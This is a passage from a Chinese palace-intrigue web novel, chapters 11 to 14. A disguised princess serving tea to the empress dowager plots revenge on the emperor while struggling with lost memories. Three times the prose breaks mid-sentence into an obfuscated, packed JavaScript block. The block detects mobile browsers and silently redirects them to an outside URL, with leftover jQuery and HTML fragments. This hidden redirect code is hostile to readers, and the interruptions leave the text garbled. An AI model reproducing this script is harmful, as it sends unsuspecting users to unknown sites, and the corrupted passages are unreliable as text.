趁此时没有闲杂人等,赵怀忙问道,“听说您被太后调到了寿安宫,这两日可好?” “好着呢。” 明熙道,“我如今在太后面前奉茶。” 奉茶? 赵怀一愣,“我还当您给太后养花……怎么奉茶去了?” 明熙道,“说是原先奉茶的人要出宫去了,便叫我去接班。” ——这北周宫廷有个规矩,凡宫女年满二十五岁便可出宫嫁人。寿安宫原本奉茶的宫女素萍已经到了年纪,等下月过了生辰,就该出宫了。 其实明熙也有些意外。 她原本打算凭借种花的手艺在司苑局立足,取得太后的信任后,可时常出入寿安宫,便也能增加碰见那箫狗贼的机率。 没想到如今竟然直接成了寿安宫奉茶的。 如此一来,她甚至能近身接近那狗皇帝,报仇的机会岂不大大增加? 然而赵怀却一脸忧虑道,“这几日,宫中起了一个传言……说是……说是那人瞧上您了。” 明熙不由挑眉。 这不是明摆着的事? 若非看上她,那人又岂会将她单独叫到乾明宫,还妄图对她行不轨? 但已经过去的事,此时说出来只会令赵怀担心。 明熙只道,“看上我不也正常?我长得又不差。” 却见赵怀忙又点头,“是是,您是咱们建业的明珠,天下哪有女子能及?我只是担心,您如今入了那人的眼,那人会不会对您……” 却见明熙冷笑一声,“他但凡敢叫我接近,我必先取他性命。” 有道是士可杀不可辱,她堂堂南齐公主,绝不会被那个杀他兄长,灭她故国的狗贼染指。 赵怀却愈发愁眉紧锁。 毕竟但有那样一天,明熙也只怕要凶多吉少…… 唉,这复国与报仇,本是那些男人们的责任,可怜建业满朝文武,世家云集,如今竟只有公主孤身一人来报国仇。 他只能劝道,“您可千万别冲动,未准此事还有其他更好的法子。” 却见明熙又点了点头,“的确。” ——归功于前几日的接触,寿安宫里上下宫人都与她熟了许多,昨日她便已经将软剑带了进去。 只是暂时还是住在六个人的值房,穿戴不甚方便。 但能接触到箫狗贼的入口之物,实在是太好不过,倘若能想法子从宫外获取一些毒。药,下到那狗贼的茶中,岂不更好? 11. 第 11 章 当然,明熙也知道,如今人在深宫,这药并不好获取。 她便又问赵怀,“你近来可有出宫的机会?” 赵怀不知她的打算,只道,“暂时没有,不过御膳房可与外界接触。或许可以找找凌霜。” 凌霜也是随他们一起来的,从小陪明熙长大,原本是她的近卫,因着身材壮实些,进宫时被挑去了御膳房出力。 但须知凌霜如今也还是个择菜的,只怕也做不了什么,还是要等公主府的其他人来到上京再说。 她又问赵怀,“近来可有嫂子与阿霁的消息?” 阿霁便是她那年仅六岁的侄儿,也是哥哥留在人世唯一的骨血。 却见赵怀道,“我只听说他们往豫章去了,北周的人马目前尚盘在江州,没有穷追, 他们应是安全的。” 明熙默默叹了口气。 但愿如此。 毕竟今次的祸乱,除过那狗皇帝害死哥哥,嫂子的娘家谢氏也有不可推卸的责任。 若不是嫂子那酒囊饭袋的侄子谢景秀纵容手下挑起周齐两国事端,又杀了北周的县令在先,北周也没有理由与他们动干戈,那雍州狗贼吴惟忠也不会伺机叛乱,令建业腹背受敌。 但一切已经发生,没有机会转圜了…… 眼看时间不早,她与赵怀告别,匆匆回到了寿安宫。 今次是以取东西的事由去的御药房,此时进了茶房,明熙便将取来的纸包递给原本的奉茶宫女素萍。 却见对方问道,“怎么去了那么久?” 明熙面不改色道,“张太医不当值,手下的御医查看了太后娘娘的医档,方敢取药。” ——太后讲究养生,每日睡前都要饮一碗安神汤,因此茶房除过沏茶,还需为太后熬煮药饮。 闻言素萍没再追问,只道,“既已回来了,就继续练吧。” 明熙应是,提起茶炉上正沸腾的铜壶,将热水倒入青瓷茶碗中,又将茶碗端了起来。 热水的温度很快便浸透了茶碗的边缘,传到了她的手上。 但她须纹丝不动,直到素萍叫停方可。 据对方的说法,在太后面前奉茶是一项极为要紧的差事,为了不出岔子,她必须要经过如此试炼。 若不是大计当前,她大抵要砸了这茶房。 不过也所幸前头在浣衣局洗了几个月的衣裳,又经过司苑局锄头的磨炼,她手上的肌肤已经没那么娇贵,此时使出定力,尚能稳若泰山。 只是,眼看时间已经过去了一刻钟,期间已经换了五次热水,那个叫素萍的还没有叫停的意思。 就连一旁负责烧水的小丫头青黛都有些看不下去了,瞧了瞧她,又瞧了瞧素萍,一脸欲言又止的模样。 素萍却只当看不见,眼见铜壶里热水重又沸腾起来,开口道,“该换水了。” 明熙便将茶杯放下,要重新注入滚水。 哪知就在此时,却听外头响起通传,“陛下驾到……” 这叫茶房内外的人都是一愣,素萍立时又改口道,“到此吧,先去迎驾。” 明熙应是,随着素萍对方一道出了茶房门,在抱厦前跪地行礼。 满院响起“恭迎陛下”的呼声,须臾,就见那绣着龙纹的袍角登上了阶梯,一双云靴上绣着金色联珠纹。 及至抱厦前,那脚步又顿了顿,道了声平身后,方迈过殿门,进到了正殿中。 满院宫人们又立起身来,明熙则跟着素萍进了茶房沏茶。 “陛下喜欢饮祁红,需用沸水来沏,太后还是习惯毛峰,水开后要稍稍放凉再冲。” 素萍边与她说,边快速拿出两只白釉茶碗,又分别从茶罐中取出祁红与毛峰,放进茶碗中冲泡。 明熙昨日已经随素萍了解过太后饮茶的喜好,眼下又知道了,原来那萧狗贼如其母一样也喜欢第二泡的茶水,故而要将两碗茶的第一泡都弃之不用,再注入热水。 静止片刻后,茶水已成。御膳房的点心房每日会备好点心送来,再各样准备两碟,便可以上桌了。 明熙端着装了点心与茶水的托盘,跟在素萍身后,踏入了正殿之中。 余光瞥见母子二人正分坐暖榻两侧,那狗贼萧元彻一身玄色深衣,发竖蝉玉冠,和着上午的阳光,倒是愈发眉目清俊了些。 那母子二人正在交谈,却听太后问道,“时下天暖和了,也有新鲜的菜吃了,今早的蒲菜与春笋都甚是爽口,不知陛下可都尝了? 那萧狗贼则道,“今早有国子监与礼部禀报春闱之事,耽误了些时间,早膳用的匆忙,竟未注意。” 话音落下,她们也到了母子二人近前,明熙跟着素萍停住脚步。 素萍上前奉茶,明熙则捧着托盘侍立。 虽则低着头,但用余光也可以判断出,那人此时离她只有三步之遥。 前所未有的近,她若出剑,命中率会非常高。 且这殿内并没有侍卫,只有一个宦官,还是个胖子,构不成任何阻碍。 真是绝佳的机会。 只可惜她今日仍未能将软剑佩戴在身上。 只能等素萍出宫,她便可以搬到其在茶房后的值房,到时一人居住,随时可将剑戴在身上。 且那时由她亲自奉茶,趁奉茶时出手,剑尖能直接扫过对方的喉咙,便是神仙也救不了。 且再等等。 正这般暗自思忖,耳边却忽然传来一个声音—— “手指怎么红了?” 殿中众人皆是一愣,明熙也有些意外。 那声音就响在她的左前方,离她不能再近,显然是出自那狗贼萧元彻。 但……他是在跟谁说? 试着抬眼,却见那人的目光就直直落在她的手指,一双长眉还敛了起来。 目光又扫过周围,却见众人也都朝她看来。 只有一旁的素萍低下了头,带着满眼的惶恐。 明熙便晓得了,这狗贼是在问她。 呵,他还有脸问? 她的手不正是被这寿安宫给烫的吗? 面上却只能垂首道,“回陛下,是奴婢愚笨,不小心烫到了手。” 她岂会不知,素萍不过照太后的意思行事,她若是此时告状,这份差事也做不成了。 哪知那人却又道,“不是在种花吗?怎么又过来奉茶了?” 明熙,“……” 这个问题,恕她也回答不了。 毕竟她也不知太后是怎么想的。 “素萍到了年纪,下个月要出宫了,哀家总得找个人来接替,她是个细心地,花都能养的这么好,沏个茶自然算不了什么。” 满殿的意外目光中,却见太后悠然开了口,“陛下眼神倒是好,眼看两日没来,一来就瞧见她手指头红了。” 这话满含深意,明熙只得立时跪地道,“是奴婢愚钝,唯恐辜负太后信任。” 紧接着,那萧狗贼也道,“原是怕她来奉茶,叫母后失了种花的人才。春闱在即,这两日政务繁忙,没能来看望母后,是朕疏忽。” 太后这才又颔首道,“陛下再辛苦也记得休息,别累坏了龙体才是。” 说着又瞥了地上的明熙一眼,道,“素萍也是在哀家身边待了十年,方能知哀家冷暖,愚不愚钝的不碍事,用心思学便好。平身吧。” 明熙应是起身,与素萍往外退去。 却听太后又道,“说起来,昨日不少人看着宫里的花好,都想跟哀家要这丫头去养花,哀家可是谁都没应。哀家看上的人,岂是能轻易要走的?” 这话的意思,简直不要太明显。 众人只见,君王才刚端起茶杯手微微一顿,而后道,“母后说的是,既是宫里的人,待在宫中便好。” 明熙跟着素萍回到茶房,那母子二人的谈话已经听不见了。 她将托盘放好,却听素萍又道,“陛下的茶通常只饮一杯,但若一刻钟后圣驾未移,还需再准备一次。如方才一样便好。” “陛下不怎么爱吃点心,通常那两碟便足够。但也要备好一碟,已备贵人们随时需要。” 明熙点了点头。 却见素萍顿了顿,又压低声道,“太后眼里不容沙子,在寿安宫当差,务必要心思沉稳,我当初才来之时也是与你一样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486558|170076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 明熙暗自挑眉,这是在与她解释之前为何要烫她? 她忙道,“姑姑言重,小的都明白。” 素萍颔了颔首,这才没说什么,只叫她将茶盏温热,预备着等会儿给狗皇帝换茶。 态度倒比此前温和了不少。 眼看茶盏已经温热,铜壶里的水也已经沸腾,却听门外又传来宫女的声音,“启禀陛下太后,惠王殿下下求见。” 惠王便是那位淑太妃的儿子,萧元彻同父异母的弟弟,本名叫做萧元任。 自打明熙来到寿安宫,还是头一次见他来。 只听正殿里的太后道了声“进”,便见一头戴玉冠,身穿青色绣金袍的男子迈进了殿中,正是那位惠王萧元任。 这也意味着茶房的活计又来了,明熙便又跟着素萍沏茶装点心,而后端去了正殿。 进门时,却见那位惠王才向母子二人行过礼,正要坐下。 明熙快速扫过一眼,却见对方与萧元彻年纪相近,个子也差不多,只是没有萧元彻那般健壮。 二人面型有些相近,只是这位惠王随了其生母淑太妃的一双桃花眼,比起气质冷峻的萧元彻,显得更温和一些。 却听太后问其道,“你这一去也有近两个月了,不知差事办的如何?” 而萧元任则道,“托陛下与母后的福,儿臣这一趟很是顺利,今春的绢纱锦绸皆已经定好,还在临江,南豫等地定好了几家茶园,名录账簿已与今早交户部呈于陛下。” 说着又拿出两只小罐道,“这是儿臣亲自在临江挑选的雨前龙井,敬请母后品尝。” 见此情景明熙也想了起来,这人除过北周的王位,还兼任太府卿一职,掌管北周皇室采买之事。 看他的说法,今次是去采购丝帛与茶叶了。 临江与南豫,本都是他们南国的州郡,专为她们魏家供茶,如今也变成这萧家的了。 却见太后叫碧书将龙井接下,又道,“从前,这些好物都被那南朝独霸,咱们便是花重金也未必能买到真东西,如今倒是好了。” 话音落下,明熙与素萍已经到了那萧元任近前,她敛起心神,由素萍敬茶。 却听那萧元任又道,“临江以南,还有不少好物,期盼大军早日开拓疆土,届时母后也能享尽四海风物。” 好一个开拓疆土。 明熙心间一冷,他们这是要将人赶尽杀绝! 却听太后又道,“说起来,咱们的人马在江州的日子可不长了。” 这叫明熙一顿。 却听那狗贼萧元彻道,“自南齐诏帝死后,又逢雍州刺史吴惟忠叛乱,一路烧杀,百姓死伤无数。去年沿江又发秋涝,数万百姓流连失所,凄惨不似人世。我大军平息叛乱后,帮着南国百姓休养生息,这两日正在春播,南下之事,暂且不急。” 顿了顿,又道,“毕竟大周出兵,原并非为吞并他国,只是不忍生灵涂炭,乱臣贼子祸乱人间而已。” 话到此,萧元彻不由看向明熙。 这也是他想告诉她的。 他出兵本不是为侵占她的国土,而是不愿看那吴贼祸乱南国,及她而已。 只是此时,敬完茶的明熙已经在随素萍往殿门外走了,令他看不见她的神色,也不知她是否相信。 正在此时,那萧元任又道,“当时入到建业后,但见诏帝陵寝凌乱不堪,皇兄还特意命人将其陵寝修缮完好。试问在当初对方那般对待我大周的境况之下,又有谁人能做到如此?皇兄当真宅心仁厚。” 话音落下,已经退到门口的明熙险些要顿住脚步。 这惠王说,哥哥的陵寝凌乱不堪?还是萧狗贼帮哥哥修了陵寝? 哥哥的陵寝怎么会凌乱不堪??? 难道是那吴惟忠干的? 可是不对,她明明记得,当初那吴贼根本没能进到建业…… 一时间脑中不由闪过许多画面—— 龙榻上的哥哥面色青紫,早已没了气息;年幼的侄子伏在她怀中哭泣,却有人向她刺来尖刀…… 许多画面凌乱又无序的在她脑间闪现,明熙忽然有些头痛。 12. 第 12 章 明熙只能强忍头疼,先随素萍回到了茶房中。 没过多久,却听正殿里传出“起驾”的声音,却是那狗贼与太后惠王说完了话,要离开了。她便又同素萍出门行礼,送那狗皇帝出了寿安宫的院门。 又过了一阵后,那惠王萧元任也离开,太后也起身去了佛堂,正殿里归于宁静。 她又去收了茶盏碗碟回来清洗,却见素萍问她,“怎么脸色这样白?” 明熙强忍着脑中一阵阵的刺痛,只道,“许是早饭用的有些少,并无什么大碍。谢姑姑关怀。” 经方才箫狗贼那一遭,素萍对她的态度倒是好了许多,闻言又道,“太后要小半个时辰才会从佛堂出来,这阵子无事,你去趟典膳司,叫她们准备些栗子饼与马蹄酥,预备娘娘午茶时用。也可叫他们给你准备些吃的,寿安宫的人,他们不会怠慢。” 明熙愣了愣,或许正好可以借此机会去见见凌霜? 她便向对方道了声谢,出了寿安宫。 而就在她往典膳司走的时候,萧元任已经在母亲淑太妃的香兰苑中坐了一阵。 殿中并无闲杂人等,母子说话无需避讳。 淑太妃问道,“你方才去寿安宫,太后可说了什么?” 萧元任答道,“儿臣去时皇兄正在,只说了些差事上的事,其余并未多说什么。” 淑太妃哦了一声,“这一大早陛下也去了?果然动了心的男人,与从前到底不同了。” “母妃说什么动心?”萧元任忙问。 “你没瞧见,寿安宫里奉茶的有了新人?” 淑太妃哼笑道,“那丫头原本是在御花园里种花的,不知怎么就入了天子的眼。你是没瞧见花朝那日,满园的佳丽竟都被那个丫头比了下去,陛下那一双眼睛,就差黏在她身上了。” “太后当晚就将那丫头调进了寿安宫,不知做的什么打算。她可是最见不得出身低微的女子。” “原来如此。” 萧元任不由沉吟,“儿臣就说,方才端茶的人怎么与从前不同了……” ——方才瞥过一眼,那张面孔,倒的确叫人过目不忘,只是不知为何,竟有些似曾相识之感。 …… 日头一日暖过一日,御花园中梨花杏花交织,一片粉与白的花云。 明熙却无心赏景,一路来到典膳司,待向掌事交代过点心的事,又去了膳房。 一个时辰后便是午膳时间,此时的御膳房里众人正要忙碌起来。 她目光逡巡一圈,很快就瞧见了凌霜。 身量高挑的姑娘,正一手提着一篮子春笋,另一手则拿了张馅饼,边吃着边往井边走。 那张脸蛋比从前丰润了一些,看起来胃口也是极好,巴掌大的馅饼,几口就全都落了肚, 明熙,“……” 看来这丫头过得还不错。 她站在不远处清了清嗓,就见凌霜一愣,立时朝她投来目光,意外一瞬后,便将春笋搁下跑了过来。 “这位姑娘,” 凌霜带着满眼的惊喜道,“不知可是有什么事?” 明熙倒是镇定得多,只道,“我是寿安宫的,今早未来得及用早饭,不知现在可还有什么吃食?” 就见凌霜赶忙点头,“有的,今早才烙的馅饼,您等着,我给您去拿。” 明熙点了点头,用眼神示意,“那我去外头等。” 心领神会的凌霜也赶忙点头,“这里杂乱了些,免得脏了您的衣裙,姑姑稍候,我马上来。” 说着便回膳房拿饼去了。 明熙则去了院外,找了处僻静的地方。 很快就见凌霜拿着饼回到她面前,趁四下无人,赶紧低声问道,“姑娘过得可好?” 明熙点头,也低声道,“我还好,你怎么样?这里的人可有为难你?” 却见凌霜点头,“这里的人性格直爽,还挺好相处,就是活杂了一些,不过东西还挺好吃。” 明熙,“……” 方才已经就瞧出来了,这才几个月不见,这丫头的脸已经圆了一圈了。 然而凌霜却又着急问她,“可姑娘怎么清减了许多?莫不是受人欺负了?” 过去的事多说无妨,时间紧迫,明熙只道,“这里的吃食不合我胃口罢了。我今日来是想问你,那晚我昏倒后,建业又发生了什么?是有什么人曾去破坏先帝陵寝吗?” ——那时哥哥下葬前夜,她与侄子在奉先殿守灵,小家伙舍不得父王,正在她怀中哭泣之际,却有刺客闯入殿中,要对侄子不利。 情急之下,她立时拔出软剑抵御,却因为要护着侄子不慎摔伤昏迷。再醒来时已经离开建业,且有些事她曾记不起,还是凌霜她们提醒才慢慢恢复。 却见凌霜道,“您遇刺后,我们只顾着带您离开,当时益州叛军逼近,建业已经不安全,等我们在滁州安顿下来时,已经过去了十日,那时陛下已经匆忙登基,但因叛军逼近,太后又带着陛下匆忙南逃,紧接着建业又被北周占据……先帝陵寝之事,已经无从知晓了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486559|170076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻言明熙点了点头,也是。 凌霜与赵怀一路护送她,一直与她在一起,又怎么会知道她不知道的事? “姑娘怎么这样问,您又不记得什么事了吗?” 却见凌霜又一脸着急的关问她。 明熙道,“倒也没有,只是怕自己不还有想不起的,耽误了什么。” 不过今日听凌霜这样说,先前脑子里那些画面也都能对上了。 此时最要紧的事已经问完,她正想再问问凌霜与外头可有联络,没等张口,却瞥见那不远处的夹道中又出现了一个身影。 看其打扮,并非寻常宫人。 看来今日只能到此了,她于是向凌霜道,“多谢姑娘的饼,我先走了。” 便与凌霜示意,转身分别。 此时视线转过来,也愈发瞧了清楚,那一身青色的绣金蟒袍的男子不是别人,却是今日才去过寿安宫的惠王萧元任。 眼见对方越来越近,她便也立时停步,如其他宫人一般,向对方垂首行礼。 不想对方却在她近前停了下来,将她大量一遍后,开口道,“你是寿安宫的人?” 明熙应了声是。 却听对方又用温和的语声道,“平身吧,不必多礼。” 明熙又应是,立起了身来。 却见那萧元任又问她道,“今早是你给本王奉的茶?” 明熙又应是,又在心间暗忖,这人如此问她,怕不是有什么话要说? 果然,便又听对方道,“本王方才在殿中就觉得眼熟,可是从前曾在哪里见过你?” 明熙道,“奴婢刚到寿安宫没几日,今日乃是头一次为王爷奉茶。” 却见对方竟是一笑,道,“许是本王记错了。听说你很会种花,今次花朝的花王便是由你所培育。如此年轻便能有这等手艺,真是令人佩服。” 明熙不由暗自皱眉—— 这人连她种花都知道了,眼下怕不是特意来找她的? ——却不知他的目的是什么? “王爷言重了。” 她忙道,“原是宫中花木本就优良,奴婢不过碰巧了遇到了它们开花而已。” 却见对方又含笑道,“不必谦虚,本王府中倒是也有几盆兰花,他日若有机会……” “你在这里做什么?” 萧元任话还未说完,却听背后忽然又传来另一个声音。 明熙与其一同瞧去,却见本该在乾明宫料理大事的狗贼萧元彻竟向此处走来。 13. 第 13 章 这般情景,明熙忙向那萧元彻行礼并解释道,“启禀陛下,奴婢是来知会典膳司为太后娘娘准备点心的。” 哪知那人道,“朕没有问你。” 又将目光投向了一旁的惠王萧元任。 这令萧元任一顿,忙也解释道,“臣弟南下时见那边有些食材甚好,便想着过来问问御膳房,平素宫里用的春笋芦芽等是何处出产,若有必要,可替换成南边的食材,也好叫陛下及太后及时尝到时鲜之物。” “这些叫手下人来办即可,何须你亲自前来过问?” 萧元彻面色肃敛,“还是留些时间做些更要紧的事为好。” “谨遵皇兄教诲。” 惠王也赶紧垂首,又试着问道,“不知皇兄怎么也到此来了?” “坐得乏了,出来走走。” 萧元彻瞥其一眼,“你自去办你的事,不必管朕。” 惠王只得应是,行过礼后去了御膳房。 一时间,只剩了明熙独自在萧元彻近前。 她才不信这狗皇帝是“随意走走”,走到此处的。 怕不是又要来找她? 呵,这狗贼为何总在她未带软剑时出现? 果然,就见他温声对她道,“此处非说话之地,你随我来。”便径直在前走了起来。 明熙只得跟上,一阵过后,来到御花园中一处水廊。 廊下是太液池水,廊外又有一片水杉遮挡,看着颇为隐蔽。 见此情景,明熙不由暗想,北人多不善水,若是趁机将这狗贼推到水中,或许会将其淹死? 最好再砸几个石头下去,对准脑袋,叫他直接晕在水里…… 正要看看四周哪里有石块可用,却见那人忽然开了口,“我不知太后会将你调到身边……茶房的人可是也为难你了?手都烫红了,很疼吧?” 什么? 明熙简直要冷笑出声,这人追她到这里来,把人都赶走,就为了问她手疼不疼? 都看见她手烫红了还问,真真虚情假意得可笑! 然面上还是乖乖道,“陛下言重,茶房的姑姑并未为难奴婢,是奴婢自己愚钝不小心所致。” 话音落下,那人竟又像被噎住一般,顿了一会儿才又道,“还在生我的气?” 明熙,“???” 这人是不是有病! 堂堂一国君王,在一个宫女面前自称“我”就已经足够荒谬了,居然还问她是否生他的气? 竟然如此卑微? 呔!她们好好的南齐竟会败在这种人手里!真是可气! 好在她的头脑是清醒的,又垂首道,“陛下言重,奴婢岂敢生您的气。” 那人竟又紧紧凝起了长眉,叹息道,“阿真,你要我如何,才肯原谅我?” 明熙,“???” 竟然还问要如何原谅他? 她倒是想说,要他为哥哥偿命,并将吞并的国土完好奉还! 然面上却只能道,“陛下严重了,奴婢从未生您的气,又何谈原谅?” 话音落下,对面又陷入一阵沉默。 一阵过后,却见他忽然摸出一样东西,递给她道,“罢了,这个是治烫伤的药膏,你先抹在手上。” 治烫伤的药膏? 明熙愣了愣,又垂首婉拒,“奴婢不敢。” 哪知那人竟一下捉过她的手,打开瓷罐兀自在她手指上涂了起来。 口中还道,“你气我便气我,我也知你心里很不好受,但事到如今,还是要先把自己的身体顾好……” 肌肤相触的瞬间,明熙本能的要往回抽手,哪知脑间竟忽然出现了一些画面—— 她浑深灶热,一衫半推,伏在一名男子的怀中,将对方的衣紧撤开,而后又摩挲着对方的脸,吻住了对方的唇…… “!!!” 明熙一个激灵,立时使了大力将手抽了回来。 而紧接着,却听不远处又传来一个声音—— “参见陛下……” 转头看去,却见胡尚宫正立在水廊外的岸边,向那箫狗贼垂首道,“启禀陛下,方才纪王妃去到寿安宫,说要请教种花事宜,故而太后娘娘急召念真回去。” 明熙如获救兵,立时向面前人道,“奴婢先告退。”语罢便绕出水廊去到胡尚宫身边,逃也似的走了。 只留下萧元彻站在原地目送她离去,手中还握着未来得及涂完的烫伤膏。 不远处的高寿默默连念了几声阿弥陀佛。 可怜的陛下,今早一得了许姑娘被调去寿安宫的消息便匆匆赶了过去,然而没等开口要人,却被太后一口回绝; 眼下好不容易找到与姑娘说句话的机会,这手都还没捂热呢,就又被胡尚宫打断了。 偏偏胡尚宫是太后派来的,他便是想拦也不敢拦…… 阿弥陀佛,只希望陛下千万别迁怒到他身上…… ………… 离开了那片水廊,明熙跟着胡尚宫快步往寿安宫走,思绪却还在方才忽然出现的画面中—— 这是怎么回事?她何时竟做过那样的事?!! 且为何一点都不记得了??? 还有还有,那男子又是谁!!! 她试图努力回想,然脑中却犹如一片混沌,竟是什么也寻不出来。 偏在此时,胡尚宫又忽然顿住脚步与她道,“今日之事,太后难免会知晓。” 明熙思绪回到当下,忙与胡尚宫解释道,“大人明鉴,小的原是去典膳司交代太后的午点,却不知陛下为何忽然出现,将小的带到那处去。” 胡尚宫却道,“我自是明白,然贵人之心不可测。你只要记着,无论这两日太后说什么,安排什么,都不要着急才是。” 明熙,“……是。” 听这意思,太后会以今日之事再来拿捏她一番? 呵,以为那狗贼有多好,叫她上赶着去勾,引吗? 当然,眼下大计当前,她也只能忍耐下来,待有朝一日,全都报到那狗贼身上! 默默在心间做好了准备,明熙又跟着胡尚宫起行,一路回到了寿安宫。 却见纪王妃果然正在,不止带了几盆兰花茶花,甚至还带了两个专门养花的侍女要向她请教养花事宜。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486560|170076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她便传授了一番自己的经验,待到纪王妃与太后做了别,便仍回了茶房。 一切一如往常,却似暴雨前的平静,直到晚饭后,却见素萍对她道,“自明日起,你只需在此沏茶就好,暂且不必随我出去奉茶。” 明熙立时便晓得了,定是太后知道了萧元彻给她涂烫伤膏的事,出手拿捏她了。 不过不叫她出去奉茶,倒也算不上什么大不了。 等到第二日,她便又发现,太后不止不叫她去正殿奉茶,茶房中但有外出跑腿之事,素萍也都指派小宫女青黛前去,她需留在寿安宫中不得外出。 原来太后是禁了她的足。 不叫她外出,亦不准她去正殿露脸,以至于萧元彻来了两次都未能见到她。 然而对此时的明熙来说,这已经不是最要紧的事,她眼下有件更加诡异的谜团待解—— 那日在水廊时脑间闪现的画面,开始频频出现在了她的梦中。 一连数日,她总是梦见有一男子或是陪她赏花逛街,或是教她骑马,但画面一转,二人又到了榻上缠绵…… 梦中的她似乎很喜欢对方,但却总是看不清对方的脸。 这太奇怪了,她明明洁身自爱,至今未近身接触过男子,怎么会总是做那样的梦! …… 夜深人静,御书房内依旧灯火通明。 又看完了一摞奏折,萧元彻搁下朱笔,暂且闭目凝神。 高寿端着一碗汤饺来到近前,小心道,“陛下,您晚膳用得少,再吃些饺子垫一垫吧。” ——虽说眼下已是亥初,但依照君王的作息,还要再看一个时辰的折子才就寝,晚膳时就只用了一碗粥,几口小菜,且据此已经过去两个时辰了,不吃点宵夜如何顶得住? 这可是君王最爱吃的羊肉萝卜饺,他特意嘱咐御膳房做的。 然未等将汤饺放到桌上,却见座上的陛下忽然问道,“今日寿安宫如何?” 高寿忙道,“太后娘娘今日一切安好,上午淑太妃去拜见娘娘,午后娘娘又与静太妃,玉容公主去园子里赏了花。早午晚膳都用得不错,张太医也给娘娘请了平安脉,娘娘一切无虞。” 说着觑了觑君王脸色,又道,“许姑娘今日留守宫中,是素萍与青黛随太后去园中奉茶的。” 就见君王又凝起了眉。 高寿立时垂下头来。 ——别人不知,他可是晓得的,自打那日陛下拉了许姑娘的手,太后就不叫许姑娘出来了。 太后这是在故意拿捏陛下呢。 亲生的母子,何必如此?陛下又不是懵懂幼童,已经这个年纪了,拉一拉姑娘的手又算得了什么?那旁的王爷子嗣都有好几个了! 眼下陛下见不着心上人,又茶饭不思,这可如何是好? 正忧愁间,却听座上君王又道,“撤了吧,自今日起不必再备宵夜,晚膳午膳也减半。” 这叫高寿一愣,“陛下,这怎么能成……” 然话未说完,却见君王又道,“朕交代你几件事,如若办得好,必定有赏。” 高寿赶忙应是,“谨遵圣谕。” 14. 第 14 章 一连好几日,明熙只待在茶房中专心沏茶,大抵是日子太过平淡,渐渐地,那诡异的“春梦”终于不再扰她。 说起来,那箫狗贼近来也并未再踏足寿安宫,她被禁了足,不能去正殿奉茶,倒也算不上什么损失。 不过这日午后,太后先是召了典膳司掌事前来问话,没多一会儿,又见那箫狗贼身旁的胖子宦官也进了殿中,倒叫人有些好奇。 茶房中听不清正殿里的动静,却见去奉茶的素萍与青黛回来后,面色都很是紧张的模样,她便忍不住问道,“可是出了什么事?” 青黛低声与她道,“听说陛下近来胃口不佳,太后娘娘在责问高公公呢。” 那狗贼胃口不佳? 明熙不由暗想,难道是生病了? ——不知严不严重,若是能一命呜呼,倒是省得她动手了…… 却听青黛又道,“听高公公的意思,陛下自打几日前就胃口不振了,早午晚膳都比从前减了多半,太后责怪他不早些禀报,说要打他板子呢……” “贵人之事,切勿多言。” 素萍打断二人交谈,又对明熙道,“茶罐里的祁红没剩多少了,方才青黛去取了一些,先装起来吧。” 明熙只好应是,便开始装茶,然而没过多久,便察觉出不对。 “今次的新茶,似乎有些问题。” 素萍来到近前瞧了瞧,道,“这新茶看起来与从前没有什么差别,香味也是一样的,你为何如此说?” 明熙捻起一撮与她看,“这茶捻起来有粘手之感,还会沾染碎屑,应是炒茶时加了糖霜。” 素萍却愈发不解,“为何要加糖霜?” 明熙道,“想来这茶的品质并不如前,他们如此做,是为了增加甜香气,以掩盖茶本身的不足。” “但加了糖的红茶,头一两泡会有过甜的口感,之后就会发酸,很不适口。” 说着她将手中那撮茶投入杯中注入热水,递到素萍面前,“姑姑若不信,可试一试。” 素萍犹疑的接过,尝了一口,果然品出茶汤中的甜味。 待明熙将水倒掉,又反复冲上两回后再尝,那茶汤却已然变酸。 素萍不由皱起眉来,“凡入宫之物,太府寺都要仔细查检,怎么会出这样大的纰漏?” “这就不清楚了,” 明熙只道,“反正眼下这些东西已经到了咱们面前,若咱们也发现不了,直接奉给太后,一旦被发现,便成了咱们的罪过。况且这里头加了东西,不知对身体又有何伤害。” 素萍想了想,道,“娘娘现在应不会再叫茶,你们看好茶房,我去寻一下胡尚宫。” 明熙与青黛应好,就见素萍带着那包茶出去了。 至于胡尚宫是如何去查的,明熙并不清楚,只晓得第二日一早便传来消息,原来是内务局的管事太监监守自盗,将今次新入宫的上等红茶偷了一些卖到了市面上获利,又购来次等茶叶以次充好。 宫里如今主子少,每年的新茶喝不完,原本这些次茶并不会送到寿安宫,但昨日那管事太监不在,手底下新来的小太监拿错了东西,这才露出了马脚。 余下的事,交由宫中内廷监处置,寿安宫的茶房早已恢复了平静。 